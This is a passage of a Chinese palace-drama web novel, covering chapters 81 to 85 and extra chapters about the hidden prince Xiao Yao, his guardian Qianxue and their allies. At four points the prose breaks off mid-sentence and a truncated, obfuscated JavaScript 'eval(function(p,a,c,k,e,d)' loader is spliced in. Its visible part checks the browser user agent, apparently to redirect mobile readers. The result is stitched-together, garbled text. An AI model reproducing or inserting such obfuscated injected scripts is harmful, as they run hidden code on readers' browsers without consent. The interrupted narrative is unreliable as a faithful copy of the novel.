日子是无声的熬，吃的更是寡淡到极点，千雪带来的米不多，每天是黄米粥，配一点咸得的腌萝卜。偶尔她趁着天没亮透，到庄子外荒草深处寻些能吃的野菜，剁碎了丢进粥里，也是一点绿意。 就这么熬了约莫四五天，院门外突然响起骡车停住的声音。千雪猛地直起身，紧攥住角落的锄头，萧曜脸色瞬间煞白，惊恐地躲到她身后。 院门被拍响，三下快两下慢，是苏红缨定下的暗号！ 千雪心猛地一跳，疾步过去拉开破门闩。门外站着的，正是风尘仆仆的苏红缨！她背上斜挎着个大麻布袋，手里还拎着个用草绳捆住翅膀，正嘎嘎扑腾的肥灰鸭！ “千雪！”苏红缨一步跨进来，反手就把门栓上，喘着粗气，“累死老娘了！这鬼地方可真偏！”她把袋子往地上一墩，随手把灰鸭被扔在地上，那鸭子直扑腾。 萧曜从千雪身后探出半个脑袋，眼睛看着那只扑腾的活鸭。 “还活着！活的！”苏红缨没看萧曜，粗声对千雪道，她踢了踢麻袋，又指地上的鸭子，“这聒噪货，路上差点没把我耳朵吵聋！” 麻袋解开，里面是整块的、泛着些微油光的肋排肉！比她们吃的咸鱼干厚实得多！还有一布袋子粗盐，一大块包好的咸豆酱！千雪的心，狠狠感动了，师父对她真的没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏红缨偶尔会突然出现，背篓里装着更多的米面，有时是一小布袋糖，有时是几块结实耐磨的粗布。她待的时间极短，来了就扔下东西，扫一眼院子里正吃力地举着小块柴禾往堆上放的萧曜，粗声道：“小子！过来！” 萧曜先是吓一跳，随即放下柴，迟疑地慢慢走过去。 苏红缨也不废话，直接伸手，五指张开抓住萧曜一边肩膀和后腰，猛地往下一按！“站稳！膝盖弯一点！屁股往下沉！腰挺直！这都塌了！”她的声音像打雷，震得人耳朵嗡嗡响。萧曜被她粗糙有力的大手按得一个趔趄，小脸涨红，努力按她的要求调整姿势，腿肚子发着抖。 “就这样！站一刻钟！晃一下多站一炷香！”苏红缨松开手，抱着胳膊走到一边，像根柱子似的杵着，鹰一样的眼睛死盯着萧曜哆嗦的膝盖。一刻钟不到，萧曜就汗如雨下，小脸煞白，摇摇欲坠。 张藏再来时，除了零星消息，包袱里偶尔会多出一本磨秃了角的千字文，或几页写满批注的手抄蒙学。他看见萧曜在纸上写字，有时会局促地凑近一点：“这字……横要平，竖要直…这里顿笔…手腕松点，莫使牛力…” 苏红缨会打趣他，他倒是当上人家皇子的老师了，一句话便让张藏红了脸。 一次，千雪刚宰了鸭子拔毛，腥气弥漫，苏红缨来时，萧曜正蹲在墙角，笨拙的用小木棍拨拉着苏红缨从城里带来的糖块，在水碗里融化开的糖水。苏红缨直接过去：“蹲着顶个屁用！”抬腿就在他撅着的屁股上虚踢了一脚没真踢上，“屁股抬高点！腰背硬起来！脚抓地！这才叫劲！”萧曜被她吼得一抖，赶紧挺直点身子。 张藏坐在门槛上，看着苏红缨粗声大气地指点萧曜马步姿势，又看看灶台边忙碌的千雪，忽然叹口气，自言自语般低声道：“到底顾忌点阿虎的身份吧。” 院子里的风霜日复一日。 萧曜他能靠墙坚持着把苏红缨要求的马步蹲得更久一点。苏红缨再吼他腰塌了的时候，他会立刻绷直，虽然还是抖，但眼神里的惊慌少了点。看到张藏抱着米袋推开院门，他会小跑着过去，想帮忙接，被千雪喝住别摔了，就缩回手，默默去倒一碗还算清亮的井水，端过去放在张藏脚边的小板凳上。 81.第八十一章 绝地 日子吱呀呀地转着，萧曜不再像刚来时那样，脸上的苍白也被风吹日晒染上点尘土的暖黄，人依然瘦，但手脚似乎舒展了些。 柴禾堆边那只灰鸭子，苏红缨带来的，已经下了好几个青壳蛋在角落里。萧曜开始每日大清早去鸭窝边转悠。看到有新鲜温热的蛋，他会小心翼翼地捧出来，放到灶屋的小瓦盆里，然后学着千雪之前的样子，撒一小把苏红缨后来带来的碎稻谷给鸭子。 “嘎！”鸭子伸脖子啄食，有时会去啄他脚边的泥点，他也不像以前那样惊跳后退，只是默默挪开一点点脚。 一次雨后，泥地湿润，萧曜在井台旁，光着脚他的锦靴早就磨破了脚趾，收进了箱底，试探着往那滩混浊的泥水里踩了一小下，泥浆立刻裹住他的脚。 他浑身僵住片刻，脚趾在泥里下意识地蜷了蜷，然后，竟然慢慢地，抬起另一只脚也放了进去。 泥水没过他干瘦的脚腕，他低头看着自己裹满黑泥的脚，又小心翼翼地向前蹭了一小步，泥浆被挤出啪嗒一声轻响。 萧曜觉得还挺好玩。 千雪刚好提水过来，看到这一幕，没说话，把水倒进水缸，才转头平淡扔了一句：“泥里凉，沾久了伤脚。”顿了顿，又说，“想玩就玩会儿，晚饭前洗干净，不然没饭吃。”说完就去劈柴了。 萧曜的脚立刻从泥里拔了出来，他没玩太久，很快跑到井台边，用木瓢舀水冲洗脚和小腿上乌黑的泥。 宫墙，母妃，太傅，规训……那深宫的一切，像一页翻过去泛黄的书，在这偏远灰扑扑的庄子里，踩着凉泥水，追逐野鸭，用草棍戳硬土的萧曜，此刻只是一个叫阿虎的孩子。 这野地里刨食的日子谈不上好，甚至苦累，但那份自记事起便如影随形的沉重枷锁，竟在这里，奇异的松脱了一点点。 日子在砍柴，拔草，洗洗涮涮里过许久。 这天午后，干冷的日头没什么暖意。千雪正蹲在后院那片薄田里费力地刨着结块的硬土，打算开点春地出来，萧曜也蹲在一边，用小木棍抠着土里的草根。 “啪啪啪——” 院门方向传来敲门声。 随后响起了张藏的声音。 千雪松了口气，放下提着的半边心，拉开顶门的粗门栓。 张藏闪身进来，动作麻利地把门重新抵好。他肩后背着个粗布搭裢，手里还提着一个不大的青布包裹。 “千雪，”他压低声音打招呼，目光飞快扫了一眼院子里还算整齐的模样，微微点头，眼神又落到后面紧张地望过来的萧曜身上，“阿虎还好吧？看着壮实了点。” 萧曜摸摸头，没吭声，张藏也不在意，把青布包裹递给千雪：“红缨托我带来的。一袋米，一瓶油，一小块肉，还有一罐腌芥菜疙瘩，咸得很。”他努努嘴指向搭裢，“里面有半刀草纸，你们用得着。还有点干草药叶子，说是泡水喝能提神。” 千雪接过包裹，张藏似乎有话想说，眼神瞟了瞟依旧盯着自己的萧曜，欲言又止。 千雪瞬间明白：“阿虎，去把柴棚里的碎柴叶拢一拢，晚点引火。” 萧曜眼神在千雪和张藏之间飞快地转了一下，最终没说什么，转身慢吞吞走向柴棚，背影透着一丝不情愿，但还是听话蹲下身子扒拉碎柴叶，耳朵却支棱着。 张藏这才凑近千雪一步：“雪丫头，外面……翻天了！前几日的消息！” 张藏舔了下发干的嘴唇，脸上带着后怕：“裕王爷带兵逼宫了！” 千雪瞳孔骤缩。 “就在前天夜里！”张藏声音发紧，“说是他联络了些旧部，趁陛下病重昏迷的消息传回来……想闯宫门！想夺权！” “然后呢？”千雪急问。 “没成！”张藏眼睛瞪大，“宫里守卫森严！最要紧是……”他声音带着难以置信，“是安平郡王带兵拦在了外城！安平郡王，您知道吧？皇后娘娘的亲爹！他不知得了什么消息，早早在外面埋伏了几路精兵！把裕王爷和他的人堵死在宫门外那条御道上了！两边杀得昏天黑地！” “结果呢？”千雪只关心结果。 “裕王爷被活捉了！”张藏一脸后怕，“他手下好多人都被砍翻了！听说他本人被安平郡王亲自押着，送到……送到不知哪里关起来了！京城现在风声鹤唳，城门开得晚关得早，街上巡逻的人多得吓人，拿着刀见人不对劲就抓！现在满城都在议论，说是……裕王谋反篡位！” 裕王被扣上谋反的帽子，彻底完了！这意味着，那个能证明萧曜可能活着，有动机保护他的人，以及他可能掌握的所有证据和人证，都随之灰飞烟灭！他和萧曜这条线，恐怕在皇后等人眼里，随着裕王的覆灭，更是该被彻底掐断的死线！ “陛下……宫里可还有说法？”千雪强压着翻涌的心绪追问。 张藏摇头，“只听说陛下在前线龙体沉疴难愈，宫里现在是皇后娘娘主事，还有安平郡王护卫京畿……唉，这局势……乱啊！”他叹了口气，脸上带着小人物对大风暴的无措。“行了，我得赶紧走，不能停太久，你们……千万小心！外头风声紧得厉害！” 张藏说完，压低草帽檐，匆匆开门，很快不见了踪影。 千雪站在原地没动，目光投向院外灰蒙蒙的天空，仿佛能看到那座巍峨宫城上空弥漫的血色。 裕王垮了，陛下在前线军中垂危，皇后手握权柄，她和这个假扮的弟弟阿虎，像这片旷野里的两只微不足道的蚂蚁。 “千雪姐…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一天，他手里的荆条被小枝弹断，虎口震得发麻。他盯着地上那条细细的木刺痕，没抬眼，声音很低：“我们会死吗？” 千雪正用力把一根荆条楔进墙缝，楔得很深，直到满意才停手。她拍拍掌上的灰和木屑，转向萧曜，蹲下来，视线和他平齐。 “别想没用的，裕王也好，大理寺卿也好，再外面死一千个，活一万个，跟我们两个泥地里刨食的有什么干系？” 她走到萧曜面前，蹲下，目光与他平视：“你现在是谁？” 萧曜怔了怔，嘴唇翕动了一下，才低声道：“……阿虎。” “对，阿虎。”千雪伸手，出乎意料的在他干瘦的肩膀上按了一下，“只要还喘着气，手里还有力气拔草，能给鸭子喂食，还能把这荆条削得再尖点……我们就死不了。” 活着本身就是对抗死亡。 萧曜愣愣地看着她，眼眶有些发酸发热，肩膀上传来的力度不重，却真的帮他撑起了一片天。 是的，他是阿虎，一个在破庄子里拔草喂鸭的孩子，只要千雪姐还活着，只要他自己还能削这根荆条，他们就不会死。 82.第八十二章 天光 风吹过院墙豁口，带着暖湿气，张藏又来了。 这次他撞开门，草帽歪着，眼睛瞪得老大，神情激动。 “雪丫头！阿虎！！”他声音又尖又响，顾不上压嗓门，“天又塌了！！翻过来了！！” 千雪刚在薄田里直起身，手里抓着野草根。萧曜正把荆条插进门后土缝，闻声猛地回头，张藏从没这样过。 “慌什么！关门！”千雪低喝，一步过去掩上门，“说。” 张藏被喝得缩了下脖子，但那股劲儿压不住，他舔着干裂的嘴唇，声音发颤，语速飞快： “活……活了！！老天爷啊！！陛下！陛下没死！！！”他几乎是吼出来的。 萧曜手里的荆条啪掉在地上，他僵住了。 “哪的消息？真的？”千雪的声音也绷紧了。 “千真万确！”张藏用力拍腿，唾沫星子溅出来，“就这两天！整个北边都炸了！消息飞一样往京城跑！说陛下一直在养伤！几个老将军，都还在他身边！在邺城！亮明了身份！正召集旧部！整军！！” 他喘着粗气：“檄文！檄文都发了！骂妖后！骂安平那狗贼！说他们谋逆，矫诏，立幼主！京里乱套了！街上巡兵少了一半！那登基大典就是个屁！老百姓背后都在传！千雪，阿虎！这下翻过来了！彻底翻过来了！！” 千雪紧绷的后背松了一点，长长吐了口气，她没说话，看向萧曜。 而此刻的萧曜，已经听不见任何旁的声音了。什么檄文，什么勤王军，都模糊了，他身体晃了晃，才站稳。 “……父皇……”他声音抖得厉害。 “真的吗？张大哥……你说真的？”他扑上来抓住张藏的衣袖，仰着头，眼睛湿亮，带着不顾一切，“父皇……他没事？！我就知道……我就知道！父皇不会有事！！”声音里带了哭腔，他觉得自己从一个黑梦里惊醒了。 张藏被他抓得一怔，低头看这孩子的脸一下子被点着了，眼睛亮得灼人。 一股前所未有的激动冲击着张藏的心，他本是这世间挣扎求生的浮萍，当初出手相助大半是苏红缨的缘故和心中那点残存的怜悯侠气，从未奢望什么回报。 当今龙潜的陛下未死，正在聚拢力量杀回京城！而他张藏，屡次落地的穷酸书生，一个无名小卒，竟然在这一切变故中，亲手保护着陛下的长子！大皇子！萧曜！ “哈！哈哈！”张藏猛地一拍大腿，眼睛里闪烁着一种兴奋与狂喜，他连声音都激动得变调了。 “错不了！殿下！千真万确啊！！陛下龙精虎猛，召回了旧部！这……这……造化啊！天大的造化啊！！”他有些语无伦次。 他张藏，同这王朝尊贵的皇子，如今可能即将重掌天地的继承人的这一番因缘际会，这份泼天的患难之情…… 这岂止是造化？这简直是踩了天底下最大的狗屎运！烧了八辈子高香也未必修得来的惊天大运啊！ 千雪真是他的贵人！ 又过了些天，风变得湿软了些，地上冻硬的土皮开始松动。 这天近午，远处官道上传来不同寻常的嘈杂，像开水滚了锅。村里人探头探脑，但都关着门。没多久，几个穿得破破烂烂的流民跑过庄子外的小路，气喘吁吁地喊：“皇帝老子回来了！从北边打回来了！京城又换天了！” 喊声被风吹散，千雪停下削荆条的手，抬头望向京城的方向。萧曜正蹲在井台边刷洗沾泥的脚，水瓢哐当一声掉在石台上。 之后几天，外面的消息像开了闸的洪水涌来，无需张藏，人人都在传，皇帝萧琰真回来了，带着兵进了京。皇后在宫里抹了脖子，那个才坐上龙椅没多久的小皇帝，自己喊着不坐了。那些站错队的官儿府邸被封了门，抄家的队伍在街上走，哭嚎声传得老远。皇帝说要给冤死的人平反，安平郡王府被贴了封条。 千雪开始收拾东西。她把最好的那身旧布衫翻出来洗了晒干，又让萧曜也换了干净的粗布衣裳，萧曜很听话，让穿什么就穿什么，只是吃饭时常常走神。 一个清冷的早晨，天还灰蒙蒙的，千雪关好院门，插上荆条顶门的木杠。 她没看身后的屋子和柴垛，转身朝京城方向走。萧曜立刻跟上，一步不离，他的手主动伸过来，紧紧抓住千雪的手，千雪感觉到他手心汗津津的。 越靠近京城，路上的士兵越多，到了皇城南门外，更是守卫森严。 一个领头 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萧曜仰着脸，看着这张曾在绝望中无数次思念，添了风霜却更显坚硬的面容。 所有强撑的硬壳在这一瞬碎裂，他猛的撒开千雪的手，小小的身体撞进萧琰怀里，手臂箍住父亲的腰： “父皇……” 后面的话被号啕的哭声淹没。 千雪在萧曜扑出去的那一刻，便默默地向后退了半步，垂下手，安静地站在一旁。目光扫过这对颤抖着相拥的父子，再看向洞开的宫门和门口肃立的士兵，脸上没什么表情。 此时宫门不远处，几辆普通的青布骡车停了下来。 车门打开，几个穿着浆洗褪色旧宫装的女人在士兵搀扶下走出来，都瘦得形销骨立，打头的正是吴玉瑶，如月小橘各抱着个小包袱跟在她身后。 萧琰重掌大权，将她也从皇庄接回了宫，她的目光先是看向那个紧紧抱着皇帝抽噎的孩子身上，然后又转向站在风尘里的千雪，两人相视一笑。 终于熬过来了。 83.第八十三章 大结局 萧琰复位后第二年，封了萧曜为太子，吴玉瑶加封为妃。 东宫设了，千雪被萧琰亲点为太子东宫掌事女官。她没有推脱，收拾了不多的东西，跟着进了宫。 东宫的日子比庄子上复杂得多，规矩像看不见的网，一层层把人缠着，千雪话不多，该做什么就做什么，把该守的礼数守好，该管的人管住。 新来的宫人偶尔不知深浅，对上她那点小心思也就熄了。 萧曜成了太子，被太傅围着讲书，被臣子围着进言，他长高了，褪去了孩童的稚气，眉宇间添了忧思和责任，似一株被风雨催着拔节的青松。 但在千雪面前，那层太子的外衣偶尔会松一松，他会安静地喝完她递上的汤水，会在处理完繁重政务后，在她值夜的偏殿外廊下站一会儿。 月光照着庭院，两人隔着几步，影子投在地上，没什么话，只是站一站想，千雪便递过去一个手炉。 一年年冷下去又暖起来。 时间像庄子上那片薄田里的庄稼，一茬接一茬，无声无息就翻过去了。 当年的小院早荒了，宫里宫外，早已天翻地覆。 萧琰到底没熬过那年冬天的重咳，他倒在御书房的桌案前，手里还捏着一份未完的兵防图，丧钟传遍了京城。 太子萧曜登基，葬仪过后，新帝颁下旨意：追封生母吴玉华为德安太后。 吴玉瑶等旧人出宫荣养。 朝堂肃静，第二道旨意下来。 “……女官千雪，秉性端肃，勤谨克己，抚护朕躬于危难，功在社稷。特封荣国夫人，秩同一品公侯，赐府邸于城西永业巷，永供禄米，荣养天年。” 旨意念完，阶下的千雪，穿着掌事女官最齐整的宫装，伏地谢恩。 新帝亲自走下来，扶她起身，千雪垂下眼：“谢陛下隆恩。” 荣国夫人府坐落在城西永业巷，比起皇亲贵戚云集的东城，南城，西城略显僻静，住的多是些官宦或富户。 府邸不算大，三进的宅院，门脸朴实无华，是千雪自己挑的。新帝原本指了东城一处更轩敞的宅子，她说不用，西城就挺好，清净。 她搬进去那天没有大肆张罗，没有宾客盈门，府里没置办太多下人，只配了几个官里按例拨来的老成仆役洒扫做饭，护卫是宫里派来的几个沉默汉子，轮班守着门禁。 千雪自己，带走了庆祥宫的一些旧人，要不是吴玉瑶随她儿子萧暄前往封地了，定会搬来同千雪一起住。 府邸的日子比宫里更安静，千雪习惯了早起。天刚亮，她就在院子里慢慢走一圈。院子角落辟了一小片地，有时她就在那里拔拔草，浇浇水。太阳出来，她就搬把旧藤椅坐在廊下，眯着眼看天。有时看看书，多是些话本或杂记闲谈。 新帝事务缠身，来西城的次数不多，偶尔得了空，轻车简从而来，进门不让人通传，径直去后院寻她。 有时皇帝坐下喝一碗厨娘炖的莲子羹，有时只在院中走一走，问几句起居冷暖，千雪一一答了，她叫他“陛下”，他叫她“阿姐”。 日子久了，西城这片街坊四邻都知道了这位荣国夫人的来历，护过当今于微时，得了陛下大恩荣养的人，有妇人串门时，指着府邸悄悄嘀咕： “听说是跟过皇帝的老人？” “可不是么！厉害着呢，早年护着陛下吃了苦……” “啧啧，这福气，天大的富贵啊！” “嘘，小点声！” 不知哪家孩子嘴快，听着妇人们议论，脱口便道：“那不就是咱城西的太后么！”话一出口被妇人捂了嘴拖走：“作死的！胡吣什么！” 但这话就像风吹过的草籽，悄没声地就落下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“侍郎大人。”书吏在门外恭声禀报，“北边送来的军报抄件，按例呈阅。” 张藏敛起思绪：“进来。” 军报是关于一支新近立下奇功的偏师由游骑将军苏红缨率领的赤羽营。 报中详述了该部如何穿插敌后，焚毁粮草，牵制敌军主力，助正面大军一举破敌，字里行间，铁血杀气扑面而来。 游骑将军，正五品下，麾下赤羽营，因其将士皆佩赤羽标识而得名，更有一样特别之处营中过半是女子，民间皆称娘子军。 张藏指尖划过苏红缨三个字，眼前浮现的却是那个杂乱小院。 谁能想到，当年市井中的武娘，真有一日能凭军功挣下将军之位，麾下聚起一支令敌人闻风丧胆的奇兵。 北境，风沙割面。 苏红缨勒马高坡，望着下方正在扎营的部队。赤羽标识在风中猎猎作响，队伍中既有矫健男儿，亦不乏身形利落，目光坚毅的女子。 她们并非娇弱娥眉，多是边地贫苦出身或历经离乱的孤女，被她一手选拔，严酷操练，如今已是能独当一面的悍卒。 “将军！”一名脸上带疤的女校尉奔来，抱拳行礼，“哨探回报，西北五十里发现小股敌军游骑，似在窥探我军动向。” 苏红缨眼神一厉：“传令，赤羽卫随我出营。其余人等，加固营防，没有我的命令，谁也不许妄动！” “是！” 马蹄声碎，一支轻骑如离弦之箭，卷起烟尘，直奔西北。苏红缨一马当先，手中长枪在荒原落日下闪着寒光。 厮杀短暂而激烈，敌军游骑没想到会遭遇如此迅猛的反击，尤其为首的将领竟是个女子，枪法却狠戾精准，如修罗降世，不过一刻，敌军溃散。 苏红缨甩去枪尖血珠，下令：“清理战场，撤回！” 回营路上，暮色四合，那女校尉跟在她身侧，忍不住道：“将军，刚才您真是太厉害了！什么时候我们的娘子军也能像您一样…” 苏红缨看她一眼，目光在暮色中显得深沉：“练，往死里练，练到手里的枪，身上的骨头都记住该怎么杀人。不是为了厉害，是为了活着，为了让更多该活着的人，能活下去。” 就像当年，她护着那两个从深宫逃出的惶惑生命一样，只是如今，她的战场更大。 京城，吏部衙署。 张藏面对着一份来自御史台的弹劾奏章抄本，眉头紧锁。 奏章矛头直指苏红缨，称其“牝鸡司晨，女流统兵，有违祖制”，“赤羽营中男女混杂，有伤风化”，更暗指其战功有虚报之嫌，要求朝廷彻查，并裁撤其军权。 “荒唐！”张藏压下心头火气，深知这不仅是针对苏红缨，更是朝中某些守旧势力对新帝重用寒门，甚至女子的新政的反扑。 这一日，关于是否裁撤赤羽营，调回苏红缨的争议闹到了御前，几位老臣言辞激烈，坚持祖制不可违。 萧曜静听完毕，未置可否，只命人传召苏红缨即刻回京叙职。 月余后，风尘仆仆的苏红缨一身未卸的戎装，直入大殿。她单膝跪地，甲胄铿锵：“臣苏红缨，奉诏回京，参见陛下！” “苏将军平身，朝中对将军及其麾下赤羽营，颇有微词，将军有何话说？” 苏红缨站起身，脊背挺得笔直，声音洪亮，掷地有声：“陛下！军中只论战功，何分男女？臣麾下将士，无论男女，皆能杀敌报国！赤羽营每战必前，伤亡亦重于他营，所立功勋，桩桩件件，皆有军报核实，岂容空言污蔑？若因臣是女子，麾下有女子，便抹杀所有血战之功，寒的不止是赤羽营的心，更是天下所有愿为国效命之心！请陛下明鉴！” 她一番话，说得殿内几位老臣面红耳赤，欲要反驳。 萧曜抬手止住众人争论。他目光扫过苏红缨甲上未干的泥点风霜，缓缓开口：“朕，当年亦曾藏身于柴草堆中，性命悬于一线。那时，护着朕的，除了荣国夫人，还有一个女子。” 他声音不高，却让整个大殿安静下来。 “彼时，无人因她是女子而轻视其胆魄与忠义，若非她果断藏匿，慷慨相助，朕早已无声无息死于非命，何来今日坐在这里，听诸位争论该不该用女子为将？” 他看向苏红缨：“苏将军。” “臣在！” “朕问你，若朕再予你精兵，你可能为朕扫清北境余寇，永靖边关？” 苏红缨眼中迸发出灼热光彩，抱拳道：“臣愿立军令状！不能平寇，臣提头来见！” “好！”萧曜击案而起。 他目光扫过群臣：“擢升苏红缨为忠武将军，仍领赤羽营，另增拨兵马，总督北境三镇剿匪靖边事宜！谁再有异议，便去北境阵前，与苏将军当面理论！” 圣旨既下，再无敢言，苏红缨重重抱拳：“臣，领旨！谢陛下！” 张藏接到旨意抄本，长长舒了一口气，他提笔，给远在北境的苏红缨写了一封简短的信，只叙旧情，不谈朝务，末了附上一句：“京城新开一酒肆，其烈酒甚佳，待君凯旋，共谋一醉。” 冬去春来，边境暂宁。 苏红缨回京叙职，她没有先回朝廷安排的驿馆，她只要回京便会去千雪处下榻，所以她直接策马去了城西永业巷。 荣国夫人府门庭一如既往地清净，千雪闻报，已迎至二门。 两人相见，并无过 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张藏心中滚烫，亦仰头饮尽，烈酒入喉，他想，当年在破院子里押上性命时，何曾想过有朝一日，他能与她一个在朝，一个在野，如此互为援手，并肩而行。 千雪看着他们，唇角泛起笑意，拿起酒坛，再次将碗斟满。 “听说你的娘子军，名声很响。”千雪缓缓道。 苏红缨眼中顿时亮起光彩：“都是好样的！不比任何男儿差！她们…”她开始滔滔不绝地讲起营中那些女子的训练，战绩，趣事，神情是前所未有的飞扬。 张藏和千雪静静听着。 夜渐深，酒意酣浓，苏红缨忽然放下酒碗，看着千雪：“我这次回京，可能要多待些时日。兵部要整训新军，调我暂领京畿一营。” 千雪点头：“好，院子一直给你留着。” 张藏笑道：“那正好！红缨可常来指点我那不成器的侄儿，他吵着要习武，我正愁找不到好师父。” 苏红缨大手一挥：“包在我身上！明日就让他过来！我操练新兵蛋子也是操练，多他一个不多！” 三人都笑了起来，笑声荡开在夜里，冲散了多年的风霜。 苏红缨再次举起酒碗，目光扫过千雪和张藏：“敬世道！” 千雪举碗：“敬相遇。” 张藏举碗，声音微哑：“敬…故人。” 天上月光如水，院内肝胆相照，他们从微末中相互扶持走来，走过尸山血海，走过庙堂倾轧，如今一个位极人臣，一个名将初成，一个荣养深宅，时隔多年却仍能在这方小院里，共饮一坛烈酒，笑谈往事今朝。 或许，这便是在困境中磨练出的情谊，历经劫波，初心不改。 85.番外二：歧路[番外] 许多年后，萧琰仍会想起苍鸣山崖下那段被困于血与雾中的日子。 他一生经历过许多次刺杀，但最凶险的一次，是在他仍是太子之时。 那是在京畿之外的苍鸣山，一场精心策划的伏击。刺客武功极高，且熟悉地形，护卫死伤殆尽。他身中数箭，坐骑受惊，一路狂奔，最终连人带马跌落陡峭山崖。 剧痛和失血让他意识模糊，最后的感觉是冰冷的河水淹没口鼻。 再次睁开眼，视线所及，唯有模糊晃动的光影，和一片挥之不去的雾霭。 然后，是一个声音，很轻。 “别动，你伤得很重。” 萧琰艰难开口：“…是姑娘救了我？” “我恰好在河边采药。” “此处是？”他问。 “苍鸣山脚下，我家…的庄子。”她答得有些含糊，似不愿多提，“你放心，这里很偏僻，那些人找不到，先把药喝了。” 那双看不见的手，带着草药的清苦气息，替他清理伤口，喂他吞咽流食，在他高烧滚烫，陷入噩梦魇住时，一遍遍用布巾擦拭他的额角与脖颈，将他从混沌边缘拉回。 他试图看清，但眼前只有朦胧的色块与轮廓，他问她名姓，想将这恩情记下。 那边静了片刻，风声穿过破旧的窗棂。“姓宋…是附近庄子上的。”声音顿了顿，似有迟疑，“公子唤我宋姑娘便好。” 宋姑娘。 这三个字成了他在那片无边迷雾中唯一能抓住的东西。 她话不多，除了必要的照料，总是安静的，但他能察觉到那份安静下隐藏的机敏与韧劲。搜捕的歹人拍响柴门时，她应对的声音瞬间变得怯懦惊慌，巧妙周旋，将来人骗走。 关上门后，那压抑着的，急促的喘息声落在他耳中，竟让他生出一种想要保护她的冲动，尽管他自身难保。 一种在绝境中滋生的，混杂着依赖与朦胧情愫的藤蔓，悄然缠绕上他的心。 亲信终于找来，他的视力仍未能清晰视物，只能勉强看到门口一个穿着浅色衣裙的，被日光勾勒出柔和光晕的轮廓。 离别在即，他心中涌起强烈的不舍，摸索着解下贴身玉佩，塞入她掌心。 “宋姑娘…恩情…萧琰必报…以此为凭…” 那身影似乎微微颤了一下，最终握紧了玉佩。 “公子保重。” 他被搀扶着离去，最后一次回头，视线依旧模糊，只看到那抹浅色的影子立在茅屋前，渐渐被山岚与距离吞噬，恍如一场幻梦。 回京后，风波平定，伤势渐愈，眼前雾障散去，重现清晰，但那场迷雾中的记忆，却愈发显得不真实了。 他立刻派人根据那枚玉佩去寻找，消息很快传来：是京中宋家之女，其嫡女宋娴承认曾于苍鸣山别庄小住，救下了他。 他召见宋娴，她容貌美丽，言辞得体，应对间虽略有紧张，但大致情形相符。 于是，顺理成章，宋娴成了他的正妃。 他试图对她好，尽丈夫的责任。但宋娴似乎总带着一种小心翼翼的逢迎，两人之间隔着一层无形的纱。 他偶尔会想起崖下茅屋中那个略带沙哑的声音，想起她镇定骗走搜捕者的背影，但那影子越来越淡，逐渐被东宫政务和日渐激烈的储位之争所淹没。 直到多年后，他在街市偶遇那个布衣荆钗，却与记忆中侧影惊人重合的女子。 直到他查出真相。 直到他看着她顶替姐姐的身份，成为宫中一朵日渐枯萎的花。 直到他默许她将毒药一点点喂给吴玉华，仿佛在偿还一份迟来的报仇。 直到聂承平起兵，安平郡王野心暴露。 直到他诈死，反击，重夺京都。 直到他看着她盛装饮毒，倒在他面前，唤出另一个男人的名字。 “陛下赢了。”她说，眼神空茫，仿佛已穿透他，望向极远的地方。 他看着毒发的她倒在自己面前，听着她生命最后一息唤出“承平”二字。 那一刻，萧琰才真正明白，许多年前苍鸣山崖下，他失去了一个本可以不同的可能。 刹那间，头颅旧伤仿佛再次崩裂，眼前重现苍鸣山那片浓得化不开的血雾。他终其一生，都未能真正看清过她，他困住了她的形骸，却永远失去了迷雾中那个曾给予他生机与温暖的模糊幻影。 江山万里，宫阙千重，终是无人再能唤他一声迷雾中的“公子”。 ———— 宋婉的一生，仿佛总在“代替”别人。 代替认下嫡姐犯的错，代替嫡姐在苍鸣山庄子静养，最后，代替嫡姐成了母仪天下的皇后，也代替她困死在这座黄金牢笼里。 记忆里最明亮的时光，竟是在苍鸣山脚下那间破旧茅屋中。 那时她虽被家族放逐，日子清苦，却难得自在，读书，抚琴，对着山水发呆，不必看嫡母脸色，不必忧心嫡姐妒忌。 直到她在河边捡到那个浑身是血，奄奄一息的男人。 他伤得极重，气息微弱。她认得那衣料的贵重，也猜到他身份非同一般。救他，可能会引来杀身之祸，但她做不到见死不救。 他昏迷时，眉宇紧蹙，偶尔呓语，带着一种威仪和脆弱交织的矛盾感。 他叫她“宋姑娘”，喝她熬的苦药时从不皱眉，他沉默寡言，但偶尔会问她山外的事，问她读什么书，她小心应对，不敢透露家世，只说自己略识几个字。 有一次搜捕的人到来，她强压着恐惧将他藏在堆满干草的榻下，自己出去应对，那些彪悍的男人目光凶恶，盘问犀利。 她捏紧手心，编造着谎言，后背惊出冷汗，幸好，他们信了，关上门的那一刻，她几乎虚脱。 那一刻，她不只是救他，也是在自救，一种奇特的，共患难的情谊在她心中滋生。 他离开得匆忙，塞给她一枚触手生温的玉佩，说日后可凭此寻他。她握着玉佩，看着他被护卫簇拥着远去的背影，心中空落落的。她知道，云泥之别，此生恐难再见。 然而她没想到，家族很快得知了消息，父亲亲自来了庄子，拿走了玉佩，严厉告诫她不得对外透露半个字，否则整个庄子的人都将遭殃。 然后，嫡姐宋娴被接来了，穿着她从未见过的华美衣裙，模仿着她的神态语气，被送去了东宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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整个王朝因她而起的错误，即将陷入更大的血雨腥风。 一边是忠君纲常，一边是绝望中的唯一生机，内心经历了怎样的天人交战，唯有她自己知晓。 对皇帝的怨，对自由的渴望，对聂承平未熄的情火，最终压倒了理智与恐惧。 她选择了踏上那条谋逆的歧路，利用皇后的身份，她成了父亲与聂承平在宫中最隐秘的眼睛和耳朵。每一次传递消息，都像是在刀尖上，但想到那可能的未来，她又充满了勇气。 